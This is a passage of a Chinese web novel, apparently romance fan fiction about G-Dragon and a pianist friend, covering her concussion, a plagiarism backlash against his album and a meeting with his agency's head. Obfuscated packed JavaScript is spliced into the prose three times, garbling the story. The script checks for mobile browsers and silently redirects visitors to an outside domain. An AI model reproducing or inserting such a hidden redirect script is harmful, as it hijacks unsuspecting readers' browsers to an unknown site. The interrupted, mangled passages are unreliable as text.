李艺率闭着眼看上去似乎已经失去了意识,眉毛紧紧蹙着,咬紧嘴唇,身体止不住地颤抖。 权至龙几乎要被眼前一幕搅得灵魂飞散。 他的指尖触碰着李艺率颤抖的肩膀,心跳狂乱呼吸急促,背后渗出了冷汗,嘴里焦急地呼喊着她的名字,声音发颤地像是被撕裂过的痛楚。 “呀!李艺率!你怎么了?!醒醒!” 他手指颤抖着拍打她的脸颊,又大力掐向她的人中,转头对准自己公司的休息室门口带着些哭腔的大喊道:“快叫救护车——” 身边的人也终于回过神来,有人手忙脚乱地拨打电话,也有人嘴里慌张地喊着快点疏散开留出呼吸空间,还有人在一旁焦急地问需不需要心肺复苏。 此时冲突漩涡中心的朴正殊和金希彻两人也彻底回过神来。 甚至在看清晕倒女孩的脸后,朴正殊的瞳孔猛地一缩,心下几乎卷起惊涛骇浪。 是她…… 曾经在超市里帮助过窘迫的他的那个女孩。 他抿着唇,从弟弟们手里接过刚刚被他随手一扔的外套,紧抿着唇拉着金希彻上前几步,此时他们也管不上什么吵架不吵架了,毕竟李艺率是被两人不成熟的举动牵连甚至因此受伤,因此心里只剩下了惶恐。 两人堂皇地站在一旁,朴正殊将外套小心翼翼地往前一递,声音愧疚不安:“那个……GDxi,我的成员们已经打过急救电话了,这个外套……” 然而此时精神处于高度紧绷状态的权至龙一把搂紧了李艺率的肩膀,即使朴正殊离他还有一些距离也仍然做出侧身躲避的动作,指节发白声音冷硬: “别过来!” 朴正殊:“…………” 围观人群:“…………” * 李艺率是被权至龙硬生生摁着人中掐醒的。 她的脊背像是被卡车碾过,脑后一阵钝痛,耳边嗡嗡作响,听着隐约传来的权至龙焦急的声音,眼睛睁开一道缝隙。 模糊的视线里是权至龙苍白焦急的脸色和那双泛着红的眼睛。 啊,头好像要裂开了。 疼死了。 李艺率感觉到一阵天旋地转。 然而还没等她做出什么反应,权至龙就又使劲掐着她人中,试图将她唤醒的动作让她几乎又要晕厥。 “艺率啊,坚持住!救护车马上来了!” 权至龙见她的眼睛睁开了一道细缝,呼吸也急促了些,忍不住轻轻摇晃她的肩膀发出破碎的声音。 耳边的声音距离她越来越远。 笨蛋小权,到底在哭什么啊。 李艺率眼冒金星,轻微脑震荡让她头脑眩晕意识涣散,想要挣扎着意识清醒,却连睁开眼皮的力气都没有。 今天这个世界上还有比她更倒霉的人吗?? 她在陷入昏厥前又在心里发出了对这个世界的憎恨,随后两眼一翻,彻底陷入黑暗。 48.首尔大战(下) 李艺率再次醒来的时候眼前是一片白雾。 意识如同沉船般艰难地重新浮出黑暗的水面,海啸般的疼痛席卷而来。 太阳穴突突直跳,后脑勺仿佛被重锤反复击打,每一次心跳搏动都交织着尖锐的钝感和刺痛。 慢性疼痛病通常是大脑和脊髓损伤所造成的。 以李艺率所患的中枢敏化症举例,在神经元损伤后,她的中枢痛觉处理通路变得敏感。简单来说,她的大脑对感觉处理的改变和疼痛抑制机制的障碍,让大脑有关疼痛的神经矩阵过于活跃,无法激活脑内阿/片受体,最终导致内源性镇痛系统无法正常发挥作用。 有时候她也时常觉得自己活得如同希腊神话中被诅咒的坦塔罗斯。[1] 区别在于意外发生时,不满十五岁的李艺率自认从未做过值得受到这种惩罚的恶事。 刺耳的鸣笛声在耳边响起,视野模糊不清,晃动颠簸。 顶灯刺眼的光线加剧了眩晕感,消毒水的气味混合着某种塑料的味道涌入鼻腔,在她胃里一阵翻搅。 这是……在哪? 她感受着肌肉和骨骼发出的抗议,感受着无数细小针尖在皮肤下穿梭游走,感受着四肢如同被拆卸又重组的沉重。 啊,听到鸣笛了。 应该是在救护车上。 头顶那抹晃动的光斑成了她意识里唯一可以抓住的锚点,李艺率穿透层层叠叠的混沌,终于开始拼凑起被打碎的零散记忆。 她睁开眼,有带着口罩的急救人员匆忙围上来,在她的耳边持续呼唤着她的名字,声音忽远忽近: “李艺率!李艺率!意识还清醒吗?告诉我哪里不舒服……你有什么疾病史?” 李艺率却恍若未闻,像是被谁匆忙地从梦境边缘拽出来,意识仍处于漫长的神游之中。 对了,说到救护车…… 她忽然想起几年前在还未更名为首尔的汉城街头,曾经见到的那名被示威人群围堵最终导致错过最佳救援时间的姑娘。 那个姑娘叫什么名字来着?她的遗憾……又是什么? 李艺率此时有些想不起来了。 要是三男那家伙现在在身边的话或许能帮忙提醒她。 说起来,三男那家伙这大半年的时间都去哪了?为什么每次只能在家里匆匆见到他的背影,很快就又消失不见。 他一个死鬼难道也有心思外出游玩吗? 李艺率几乎要被自己这个不合时宜的念头逗笑,放在眼下情境中倒是颇有些苦中作乐的意味。 她半眯着眼睛,低低地笑着,丝毫没意识到随车的三名救护人员脸上焦急的表情。 “是出现谵妄症状了吗?” “血压倒是很平稳……现在还不清楚损伤的程度怎么样,从他们的描述听起来应该摔得不算很严重,但还是必须尽快完成脑部CT扫描才行。” 一名急救人员这样说着,又探头看向车外:“还没送过来吗?” 直到李艺率被抬上救护车后权至龙才想起她曾经和他说过自己因为车祸后遗症,需要长期服药,从高中时期的午休起就有见到李艺率一直随身携带药盒的情况。 赶回去拿的路程并不算长,加上李艺率的体征相对稳定,大概也是害怕送医后药物冲突产生不良反应,救护车上相对年长有经验的急救人员便提出等权至龙拿药回来确认。 在得到肯定的答复后权至龙便匆匆折返回后台待机室去拿李艺率落下的小包。 短短几分钟内救护人员万分火急的紧迫并没有影响到李艺率。 她半睁着眼,视线定格在担架一侧的救护座椅上。 眼前出现了晃动的虚影。 一个圆圆的、看上去有些害羞,但却斯文讨喜的脸庞出现在她的视线中。那张脸看上去大约十五六岁的模样,带着些许婴儿肥,透着一股青涩的稚气。 少女的模样实在太过眼熟。 仿佛时光错位一般,李艺率仔细辨认,从遥远的记忆中终于抓住了模糊的线索: “啊……是你啊。” 她淡笑一声,说出了再平常不过的问候,“真巧,你也在这里。” 眼前原本神色茫然的少女听到她的声音,看上去似乎先是微微一愣,随即露出了一抹羞涩的微笑。 她并不说话,只是这样静静地看着李艺率躺在担架上碎碎念: “这几年过得怎么样?” “上次见面已经是五六年以前了吧?” “我嘛……最近倒是挺好的。” 在救护人员明显焦急的视线中,少年的身影匆匆赶来—— 权至龙没去管身后跑得几乎要厥过去的经纪人,脸上挂着细密的汗珠,一副气喘吁吁的模样,“我拿过来了!”。边说着,边打开李艺率的小包从里面取出一个分装着不同药片的小格子药盒和一个鼻喷药剂。 他跑动时带动的风似乎都将李艺率脑子里的迷雾吹散了些。 李艺率听到权至龙的声音,作势便要坐起身,兴奋地指着他冲着少女喊道: “对了,你还记得他吗?就是你上学的时候暗恋的同桌……” 耳边传来了焦急的声音和救护人员的惊呼。 她这副挣扎着乱动的模样很快遭到了救护人员的制止,又被匆匆按回到担架上,嘴里仍是不住地念念有词: “可恶,这家伙到底有什么好的啊?要不是有我在,他早就被校霸欺负了!真搞不懂……你为什么要喜欢他啊?” 语气听上去甚至有些酸溜溜的。 “区区小权……明明只是区区小权,凭什么会有人喜欢他这么久?……不行,你不许喜欢!” 她盯着担架那一侧少女逐渐模糊的身影小声嘟囔着。 舌根忽然被塞入一颗白色药片,苦涩的滋味慢慢浸润整个口腔。 药物快速起效,李艺率的眼皮也随之越来越重。 在意识逐渐模糊之际,她终于听到少女细弱的声音在她耳边响起: “这个人是谁啊?小权又是谁?这根本就不是我喜欢的人啊。” 李艺率已经没有余力再去回答了。 坠入黑暗之前,她脑子里只闪过一个叫她无法分辨,但却又莫名感觉到快活的念头。 原来她不喜欢小权啊。 那真是太好了。 * 快一点,要再快一点。 权至龙几乎是咬着牙不管不顾地向前冲去。 空气刮过脸颊,却丝毫无法熄灭胸腔里灼烧般的焦虑。 他的大脑一片混乱。李艺率蜷缩在地上,蹙着眉毛咬紧牙齿的模样反复闪现,紧紧缠绕在心头,被越收越紧。 李艺率曾经对他提起过好几次,车祸后遗留了慢性病后遗症,日常需要服药来维护。 可具体是什么病,服用的药物是什么,他都没有仔细问过,甚至偶尔闲聊起时也是一副不甚在意的模样。 高中时期两人每天中午就餐的记忆纷至沓来。 他明明见到过李艺率总是在餐后服用药物,却还是擅自接受了那套轻描淡写的说辞……不,实际上她有说过,且对他强调过好几次她的神经比常人更加敏感,可当时的他却只是就这样轻易地接受,并未去深究,甚至还在心里偷偷吐槽过她好娇气好矫情。 现在回想起来,除了后悔和懊恼,他竟完全束手无策。 场馆后台的门被猛地推开,权至龙几乎是踉跄着闯了进去。他心跳如擂鼓,耳边尽是自己粗重的喘息。 终于在休息室里拿到了李艺率的小包,他顾不得休息室里其他同事们诧异的眼神,顾不上太阳在身后大喊着差不多半个小时以后轮到他们上场让他早点回来的声音,一把拉上经纪人金南国便匆忙地跑出后台通道。 透明药盒被分成八个小格,放着不同的药片。 盒子倒是都有贴着英文标签纸,像是为了预防意外事件的发生,盒子的背面甚至还注明了英文事项,看上去应该是与药物剂量和突发情况下的服用量有关。 Pregabalin、Duloxetine、Oxycodone……[2] 尽是些他不认识的药物名称,权至龙只略扫过一眼,便匆匆把药盒和鼻喷雾剂递给救护人员: “这就是她一直随身携带的药盒。” 那位年长的医护人员看了眼药盒上的标签,小声的咕哝了一句,“啊,是慢性疼痛病吗……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344057|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方眼里流露出的同情实在很刺目。 权至龙不喜欢他的眼神。 他刚想说些什么,却被李艺率突如其来的挣扎打断了思路。 大概听见了他熟悉的声音,李艺率舞动手脚似乎在努力寻找受力点坐起来,眼睛固定在担架旁空旷的座椅上,发出兴奋又颠三倒四的声音:“你还记得他吗?……这是小权啊!……同桌……不喜欢…………” 闻言,他呼吸急促,悄悄攥紧拳头看向救护人员:“她这是怎么了?!!” “脑震荡以后出现暂时性认知功能混乱,谵妄的现象是很正常的,具体的损伤情况要等到就医检查后才能确定。” 说着,那名年长的医护人员终于看完标签页上的内容,从其中一格取出一丸药片塞在了她的舌根底下,“刚刚我们也测量了体征,根据我的判断应该问题并不大,总之先送去就医吧。” 权至龙:“…………” 还好还好。 他悬着的心稍稍放下。 虽然在这种万分紧急的情况下想这些有点太不合时宜了,但李艺率这家伙究竟在脑补些什么东西啊?真的没问题吗?!! 因为接下来还有舞台演出,权至龙便拜托经纪人金南国一起陪同。 目送他们匆匆坐上车,看着救护车呼啸着离去,红蓝闪烁的轨迹彻底离开视线以后,他才迈着沉重的脚步往场馆方向走去。 * 李艺率的脑部CT扫描结果出来了。 万幸只是轻微的脑震荡,并没有结构性损伤。 再次醒来以后虽然眼神还是有些涣散,但脑子已经逐渐恢复清晰,她在金南国的搀扶下走出急诊中心。 金南国:“至龙刚刚打电话过来,说已经在医院附近了。” “噢……”她含糊地应了一声,又像是从眩晕中回忆起了什么,慢吞吞地道:“他,不是……还要、演出吗?” 闻言,金南国点点头,一副笑眯眯好脾气的模样:“已经结束了啊,艺率xi你睡了两个多小时呢。” “噢……” 李艺率又应了一声,然后没再开口了。 走出急诊中心,穿过长廊,途经过形色各异却有着相似凝重愁苦的病院百态,终于在露天停车场看见了站在吸烟区域的权至龙。 他侧着身低下头,正专注地在手机上查看些什么,嘴边叼着一支燃烧的香烟,拿着手机边缘的手指骨节微微泛白。 似乎是被缭绕的烟雾熏得睁不开眼,他的眉毛凝重地皱在一起,嘴唇也紧锁着,被青灰色的烟气笼罩,勾勒出疲惫的侧脸。 真的在她不知不觉间成熟了好多啊…… 李艺率这样想着,心头涌上一阵她自己也说不清的复杂情绪,似乎是无端生出了些感触,又好像在悄悄遗憾,还没能和记忆里那个总是一副受气包模样的少年好好告别就被匆匆扔下了。 听到有脚步声往他这边的方向走来,权至龙抬眼望去。 和李艺率视线对上的一瞬间,他匆匆将烟蒂掐进了灭烟筒,下意识上前两步做出一副拥抱她的架势—— 可却又像是忽然想到了什么,硬生生止住了动作,已经伸展开来的双手也尴尬地定在了半空。 李艺率并没有察觉到他的窘迫。 她小跑两步走上前,在权至龙面色讪讪地准备收回双手之前,穿过他的两肋贴近他,一头栽进了他依旧张开着的臂弯里。 过了一会才感觉到有手臂轻轻环住了她的脊背,落在她的肩上,继而像是迟疑了太久终于下定决心一般,收紧了些许力道。 她把脸埋在他的颈侧,听见血管流动的速度很快。 又感觉到脸颊被温热的呼吸拂过,被小心翼翼地触碰,动作轻柔又珍惜。 “真的吓死我了。” 她听见他带着叹息的声音在耳边响起,带着尘埃落定一样的安心。 好难闻。 烟草味混杂着化妆品、汗液和医院消毒水的味道萦绕,让她悄悄皱起了鼻子。 可她却只是轻轻应了一声,没有松开这个小心翼翼的拥抱—— 刚刚心里那点空落落的遗憾也跟着在这一刻被悄悄填补完整了。 49.乌合之众 在那之后经过几番辗转,朴正殊终于通过权至龙要到了李艺率的联系方式。 权至龙提起此事时语气嘴里还止不住地冒着酸水。 毕竟对方实在是长了一张让李艺率在几年后还能认出来的好脸蛋! 可叫李艺率来说,对方这样的态度简直再正常不过了——毕竟她可是这场打架的最直接受害人,甚至当场被朴正殊和金希彻打晕了抬上救护车睡了俩小时呢! 她一边将朴正殊诚惶诚恐的道歉短信递给权至龙看,一边发出了理直气壮的声音。 权至龙:“…………” 不,虽然当时的状况看上去很严重没错,但是事后根据SUJU成员和在场围观的艺人们七嘴八舌拼凑出的证词来看,被波及的李艺率完全是因为躲避人群的骚动不慎摔倒。 所谓“打晕”的结论,说不好是围观的媒体的一时慌神,还是看热闹不嫌事大的艺术加工。 他无语地看着李艺率发短信追问朴正殊两人打架的原因,又看见了朴正殊隔着标点符号的欲言又止,最终还是有些不忍地为自己这位前辈哥打抱不平起来: “这么直接地打探人家的隐私会很让人为难的啊。” “你要是觉得不好就别把头凑过来看嘛,”李艺率推了推贴在她颈后那张笑眯眯的脸,“明明你自己也很好奇!” 虽然小权一直在说她是个恶趣味的人,可实际上这家伙明明也很喜欢对朋友做一些撩拨捉弄的事情,怎么恶名就全部只由她一个人背负了? 这根本就不公平! 最后看着手机屏幕上朴正殊发来的类似于夫妇吵架一般的工作矛盾,李艺率发出了遗憾的声音: “积累了十年的矛盾竟然这么儿戏吗?等等……那是不是过几年以后你也会和太阳这样大打出手吗?” 权至龙哭笑不得:“……你饶了我吧。” 他和永裴怎么可能会发生这种事啊?! 一想到有朝一日他和永裴发生冲突再被李艺率冠以夫妇吵架定论的假设,简直让他浑身发毛。 这种事情对他来说还是太超过了啊! * 时间过得飞快。 这一年的权至龙和李艺率各有各的忙碌。 除了今年暑假第三张唱片的灌录工作以外,时隔将近两年,李艺率终于与当初范赛评委、指挥家大泽先生所带领的纽约爱乐合作,在八月专辑录制工作收尾以后便飞往了纽约。而权至龙则是在前一年就规划好了SOLO计划,早早地在家里闷头创作了起来。 实际上在终于确定自己SOLO专辑的企划时,权至龙是十分激动的。 Bigbang出道以后成员们都有各自的个人活动,也都在其领域中取得了不错的收获,而他作为队长,迄今为止还没有脱离团队活动过,因此心里总有些别扭。 作为本次专辑的制作人,权至龙就几乎将全部心血都倾注在了这张名为《Heartbreaker》的专辑中。从概念构思、词曲创作、编曲制作,甚至到视觉设计,都事无巨细力求每一个细节完美。 从日本密集的巡演行程中抽身回国后,他没有任何喘息便一头扎进了新专辑的最终制作阶段。 昼夜颠倒成了常态,工作室也变成了临时的栖息点。 编曲的一个细节反复修改仍不满意,歌词的一句表达推敲到凌晨仍觉欠缺,舞蹈动作排练到肌肉酸痛颤抖,连轴转的工作让身体的疲惫累积到了临界点。 [啊,要疯了真的好累啊……] [骨头好像散架了] [又开了一天的会,脑袋简直都要炸开] 他实在是一个很善于示弱的人。 这大概和他与女性相处时总是不自觉将自己放在下位边缘的惯性有关。 虽然在镜头前权至龙总是看上去笑眯眯的一副快乐小狗的模样,但私下里李艺率却常常能受到他名为抱怨实则是撒娇的短信。 三分脆弱也能被演绎出十足的委屈,仿佛只需要她给予些许慰藉和连接,他就能以此作为甜味剂汲取坚持下去的力量,片刻栖息后便又能振翅飞向风暴。 真的是很会撒娇的家伙啊! 李艺率醒来时看到了十几分钟前的短信。 肯定是他掐好了时间发来的,她失笑一声,直接拨通了电话—— 铃声响了几秒就被迅速接起。 “哟啵塞哟。” 电话那头传出疲惫却带着笑意的声音。 “内,大明星,”李艺率靠着枕头从床上坐起,声音里满是刚睡醒带着些沙哑的慵懒,“开了一天的会,商量出什么结果了吗?” “是的。” 另一边权至龙的声音低沉下去几分,带上了些装模做样的严肃感,煞有介事地汇报起了今天的工作进度。 李艺率安静听了一会,他的声音里藏着些自己都没有轻易察觉的期待。 终于走到这一步,他其实真的很开心吧。 她这样悄悄想到。 直到权至龙的碎碎念终于结束,李艺率才挑挑眉道:“知道了GDxi,新专辑我会好好期待的。现在把电话给我的好朋友小权,我想跟他说话。” “内,请稍等。” 他带笑的声音通过听筒传来,又刻意在那一头制造了些细细簌簌的动静,才再度开口,声音里满是掩饰不住的鼻音和矫情: “艺率啊,终于能和你说上话了,刚刚我一直在旁边听着都不敢发出声音呢。” 李艺率:“…………” 这家伙怎么又擅自脑补了些她不知道的剧情啊! * 辉煌灿烂的音色在纽约林肯中心的夜空下流淌,这套与纽约爱乐合作的曲目终于在九月完美完成最后一场演出。(演奏家演出周期通常是一套曲目2-4场演出) 好好睡过一觉补足了这几天来消耗的脑力和体力以后,李艺率终于有精力上网关注起权至龙新专辑的消息。 权至龙的新专辑在他生日那天全平台上线,当时他打来电话的声音里有着明显的雀跃,并直言这对他来说简直就像是最棒的生日礼物。 只可惜李艺率与纽约爱乐的合作排期在08年中旬时就已经敲定,因此无法飞回韩国陪着权至龙度过人生中最有纪念意义的一个生日。 音源正式发布的第一时间李艺率便在数字音乐平台付费下载,并在韩国的线上商店订购了一批实体专辑准备送给合作过的乐团同事们,之前一早准备好的生日礼物连同半年多以来买的零碎小物件也一并早早寄回国,委托司机大叔在生日当天送到了SBS大楼。 李艺率揉了揉还有些惺忪的睡眼,斜靠在酒店房间舒适的大床上,打开了笔记本电脑。 自权至龙出道以来,她也跟着补习了许多演艺圈相关的常识,自认为已经是个非常合格的“追从”(Chu-Jong),并以此沾沾自喜。这甚至让权至龙一言难尽地不知道该不该告诉她“追从”这个词已经是十多年前的老派说法,放在现在已经十分过时了。[ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355696|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1] 熟练地登陆官咖,页面加载几秒,大量信息涌现出来。 权至龙的这张专辑成绩很好。 好到李艺率盯着屏幕上的“洗榜”、“破表”、“拉窗帘”这些陌生的词汇陷入沉思。 果然……追星这门学问,她要学的东西还有很多啊! 她滑动鼠标滚轮,颇有些与有荣焉地看了一会Daum官咖里积极的乐评和粉丝们兴奋的留言。 接着才打开N站论坛输入关键词。 页面加载,首页跳出来的不是预想中的应援帖或乐评分析,反而是一条条刺目的标题闯入她的视线: 【《Heartbreaker》抄袭Flo Rida《Right Round》对比音频!天才制作人露出马脚!】 【抄袭还不承认,这就是YG所谓的音乐性?】 【G-Dragon抄袭事件最新进展,丢脸丢到海外】 【什么时候裁缝也可以自称音乐制作人了?】 【大韩民国之耻,猜一个名字】 李艺率的眉头逐渐蹙紧。 她点开了几个讨论热度最高的帖子,里面充斥着所谓“旋律对比”的音频链接、技术分析(甚至看似专业实则牵强附会)、以及大量嘲讽、质疑甚至辱骂的言论。 她看着那些甚至不带求证就轻易给人定罪的言论,看着人们津津乐道地传播着所谓的“真相”,刻薄尖锐的词语像针一样扎进眼睛。 * 心理学有一个老生常谈的结论:因为社会现实搭建的高压环境规则,驱赶着人们奔向一个类似于意识流一般的灵薄域之中,宣泄情感,享受跳脱规则束缚的瞬间。 互联网则为此构建了绝佳的舆论场—— 人们在这里说话、发表言论,谈论某件事的发生,某件已发生之事的始末……恰恰是因为人们不以绝对真实的面貌展现出一场舆论所应有的姿态,便由此意味着社会规则的暂时性失效。道德、人性以及基本的尊重都在此时被网开一面,这也变相地促使了人们在无需遵守规则的解放状态下展现出最为丑恶的一面。 李艺率靠在机场休息室的沙发上,笔记本电脑屏幕的光将她略显苍白的脸映得愈发疏冷。 她怔怔地望着屏幕,看着如潮水般不断实时刷新的“自杀请愿”署名活动,再一次对人性恶有了更深刻的认知。 仅仅只因为一点未经证实的猜测和恶意就要将他撕咬得这样体无完肤。 ……为什么要这样对待一个才将将成年的孩子? 李艺率忽然感觉到一阵压抑般的窒息。 她猛地阖上电脑从包里翻出喷剂,指尖颤抖着按下喷头,冰凉的药物顺着呼吸涌入肺部,这才让她勉强稳住急促的呼吸。 啊,我应该是在难过吧。 她靠在椅背上,闭目良久,终于搞懂了她此刻的心情。 为权至龙倾注心血被否定而难过,为他遭受无端暴力而难过,为他在电话里装作若无其事地撒娇抱怨而难过……也为自己没能第一时间察觉他的异样而难过。 她想起之前在官咖上看到的,他拿着专辑对着镜头兴奋展示的样子,眼睛里闪烁的兴奋模样,就像得到了心爱的宝物向大家展示的骄傲神情, 耳机里又响起了他有些青涩意气的嗓音—— 这个世界真的对他很糟糕啊。 听着那句‘用帅气的声音向世界呼喊shine a light’,李艺率忽然感觉到脸上一阵冰凉。 50.过得好吗 李艺率这次回国没有提前告知权至龙。 毕竟小权这个家伙装作一副无事发生过的样子,还在兴冲冲地对她说着些‘今天打歌又拿到了一位’‘粉丝们的应援好热情’‘谁谁谁今天又特地来探班了’,就好像这场声势浩大得几乎要将他拆卸的网络暴力从未发生过一般。 飞机落地仁川,熟悉的湿冷空气扑面而来。她打开手机,屏幕上立刻跳出一条新信息,附着一张一位奖杯的照片和一个得意的表情:[耶!又拿了一个一位!] 字里行间,丝毫不见阴霾。 依旧只字不提,依旧活力满满。 和权至龙做了五年多朋友,李艺率自认为已经相当了解他拧巴的性格。 虽然看上去十分擅长示弱、懂得在人际关系中如何运用无害的外表获得喜欢,但当他真正碰上些棘手的事情时,却又会将所有情绪妥帖地藏起来,以一副轻描淡写的模样带过。 这大概是一种天赋,又或许是从小成为练习生摸爬滚打练习出来的生存法则。 实际上,李艺率知道他其实非常享受被关注、被需要的感觉。平日里面对她时流露出的示弱和分享,看起来更像是一种精心控制的表演,仅限于无关痛痒的层面。 而真正的惊涛骇浪,他往往会选择独自吞咽。 在他第一次飞美国他们和好以后,她也试图分析过权至龙这种拧巴人格的动机和成因。 或许是因为自尊心,因为队长身份带来的责任感和随时被取代的紧迫,又或许是少年时期被否定的经历所造就的、对“被看轻”的恐惧,共同构筑了一道坚固的壁垒。 类似这种“报喜不报忧”的行为,与其说是体贴,不如说是一种对亲密关系更深层次的笨拙和不自信——而造成一切的罪魁祸首在此时则十分明了。 哼,晚点再出现在这家伙面前狠狠吓他一跳。 李艺率面无表情地看着那条短信,收起了手机。 此时她有更重要的事情要做。 李艺率径直走向那辆熟悉的轿车,司机大叔和孙成昊显然已经早早等候多时。 * 首尔的空气里弥漫着湿热。 这是李艺率第二次来到YG公司。 依旧是看上去灰扑扑的办公楼,依旧是经理人陪同,也依旧是梁敏硕负责接待。 孙成昊效率极高,从接到李艺率消息的一刻起,到她下飞机以后,便已经提前整理好了事件始末和今日来访的相关准备。他与梁敏硕微微颔首打招呼,又侧身将李艺率迎进电梯轿厢。 缓缓上升的间隙,梁敏硕悄悄打量李艺率冰霜一样的侧脸,嘴上还不忘记寒暄着提起去年李艺率在林肯纪念堂那场声势浩大的演出,却只换来她冷淡的一瞥。 梁敏硕:“…………” 想到他家大哥咬牙切齿地提起过李艺率与权至龙的私交,梁敏硕识趣地闭了嘴,心里暗自揣测今天恐怕来者不善。 社长办公室的门被推开,冷气更足了些,李艺率不着痕迹地蹙了蹙眉。 梁锡硕从宽大的办公桌后抬起头,脸上习惯性堆起热络的假面,笑着招呼道: “艺率xi,真是稀客,快请坐。” 他匆匆起身,抬手示意,将李艺率和孙成昊引向一旁的会客沙发。 李艺率穿着一身质地轻盈的象牙白亚麻套裙,剪裁极佳,恰到好处地抵消了材质的随意感,反而衬出一种夏日里的清凉与疏离。 她轻拂裙摆坐下,脊背挺得笔直,姿态优雅,目光冷淡如雪。明明整个人身上只有颈间一条纤细的铂金项链,手腕上一块低调的腕表,全身上下再无多余饰物,却透着无需言明的优渥与矜贵。 真是一副处处透露着养尊处优的做派啊…… 梁锡硕不动声色地审视着,心里忽然冒出了这样一个念头,随即又燃起了莫名的野望。 “梁社长nim,贸然来访还请见谅。” 见李艺率施施然落座,孙成昊此时才开口,声音平稳,落在稍显空旷的办公室里却字字清晰: “这一次我和我的委托人过来,是为了艺人G-dragon近期遭受的网络舆论风波。” 孙成昊看了一眼神色冷然的李艺率,单刀直入没有丝毫迂回:“从最初《Heartbreaker》公布后网络上就出现了有关抄袭的讨论,在这之后的二十多天里,舆论持续发酵,未见平息迹象。我们看到的是大规模、有组织的诽谤和人身攻击,甚至涉及极端恶劣的诅咒。YG作为经纪公司,似乎并未采取足够有效的措施予以遏制和澄清。” “这……”梁锡硕脸上的笑容淡去几分,语气带上了圆滑的无奈,看上去甚至是一副十分苦恼的模样,“这件事,我们已经在处理了,也发了官方声明……但,这种舆论很难自证,难道要我们把每一个音轨都拆解给网友审查吗?或者,要我们将网上抹黑的人一个个告上法庭吗?这根本不现实……” “公告我看了。” 一直冷着脸默不作声的李艺率打断了梁锡硕状似无奈的推诿:“您认为一句‘没抄袭,歌曲在08年中期就已完成录制’就算是有效的官方声明了吗?” 是的,在此时风波甚嚣尘上的时间节点,YG的有力官方声明仅仅是这样一句外人看来近乎敷衍的回应。 从高一时权至龙第一次邀请她去看见面会,因为工作人员的工作失误被放鸽子时起,李艺率便早早知道这家公司是个实打实的草台班子,但这一次她还是大大低估了这帮神人的下限。 想到这里,李艺率像是终于绷不住地轻笑一声,轻飘的声音里满是讽刺的意味:“冒昧问一下,公司公关部门的员工大学毕业了吗?” 目前YG负责发布公关事务且最高学历是高中肄业的梁锡硕:“………………” 他脸上的表情微妙地扭曲一瞬,随后迅速恢复成惯常客套的神情:“演艺圈和传统产业不一样,运营的模式也不同,舆论的风向总是难以预测,热度也褪得很快……说实话,有话题度并不是……” 这些似是而非的说辞叫李艺率有些不耐烦,她淡淡地看了一眼孙成昊—— 孙成昊心领神会:“梁社长,有组织的诽谤、人身攻击和诅咒甚至有可能会演变成现实中的攻击和伤害,这已经不再是单纯的舆论事件,已经上升到了对艺人安全的直接威胁,” 回想起他们刚刚来时在弘大看到的有关‘G-dragon自杀请愿’的大字报,他推了推眼镜温和地打断了梁锡硕地声音,明明语气并没有起伏,声音却像含着薄薄的冰片: “官方发布的声明不仅缺乏对抄袭指控的专业驳斥,无法及时遏制舆论的发酵。而像积极的舆论引导、主动寻求权威机构介入、与包括Flo Rida创作团队,主流媒体及平台更具效率的沟通——这些更为主动的举措,我们似乎没有看到。” 最初关于这场抄袭争议只有零星的声音,也是因为漫长的时间发酵,才导致舆论像雪球一般越滚越大。 实际上,两首歌之所以听起来有相似之处,是因为它们都使用了在电子舞曲中非常常见通用的合成器音色和简单的旋律走向。 受限于电子舞曲这种音乐风格的局限性,出现听感上的雷同属于偶然却不可避免的巧合。 也正是因此,YG的不作为才导致这场风波愈演愈烈,使得本可澄清的技术性争议被公众情绪裹挟,演变为对艺人本身的全面围猎—— “我们充分理解娱乐行业的特殊性,也无意干涉公司的运营。但我的委托人认为,保护旗下核心艺人,尤其是在他的商业价值与公司利益深度绑定的关键时期,是经纪公司不容推卸的责任。目前的状况,无论从情感道义,还是从纯粹的商业逻辑来看,都十分令人遗憾。” “这也让我们开始怀疑起,当初的投资和信任,真的值得吗?” 孙成昊那双冷静的眼睛注视着梁锡硕,声音仍是淡淡的,却在此刻比任何疾言厉色都多了几分压迫。 * 这一次他们其实并不是单纯为了责问而来,但面对孙成昊提出的解决方案,梁锡硕仍然是一副为难推诿的搪塞模样,这样的态度显然很是反常。 窗外的夏日阳光被过滤在百叶窗之外,办公室内的冷气发出轻微的嗡鸣。 “梁社长,您真是个很不错的商人,” 李艺率静静地看着孙成昊向梁锡硕施压,忽然绽开一个极为浅淡的笑容。那笑意未达眼底,声音也轻得像是一片冷雪,如寒夜的风掠过梁锡硕的耳际: “但您实在是一个很糟糕的人。” 事情发展到这一步,瞎子都看得出来梁锡硕的刻意拖延敷衍,真要细究原因,也不过离开一个最根本的字,钱。 粉丝经济下的核心无非就是三个字——美强惨。 这是饭圈的核心逻辑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 